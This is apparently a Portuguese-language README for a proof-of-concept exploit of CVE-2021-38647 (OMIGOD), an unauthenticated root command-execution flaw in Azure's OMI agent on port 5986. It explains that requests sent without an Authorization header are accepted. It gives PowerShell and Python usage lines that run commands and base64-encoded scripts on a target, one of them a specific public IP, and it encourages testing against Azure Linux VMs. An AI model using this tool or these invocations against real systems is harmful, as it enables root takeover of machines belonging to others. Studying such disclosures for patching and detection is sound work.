CVE-2021-38647

CVE-2021-38647 - POC para explorar RCE não autenticado #OMIGOD em VMs UNIX/Linux do Azure!

Detalhes

No Microsoft Azure, o aplicativo OMI é instalado automaticamente quando serviços como Azure Automation Accounts, Update Management, Log Analytics, Configuration Management, etc., são usados para VMs UNIX/Linux. O aplicativo OMI também expõe o serviço na porta 5986 se o serviço Configuration Management for usado para gerenciar a máquina remotamente.

Qualquer pessoa com acesso de rede a um endpoint vulnerável pode enviar uma requisição que utiliza o provedor SCXcore sem o cabeçalho Authorization e executar comandos do sistema operacional na máquina alvo com privilégios de root!

Esta vulnerabilidade já foi corrigida, mas sempre vale a pena verificar contra VMs Linux no Azure.

Uso

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==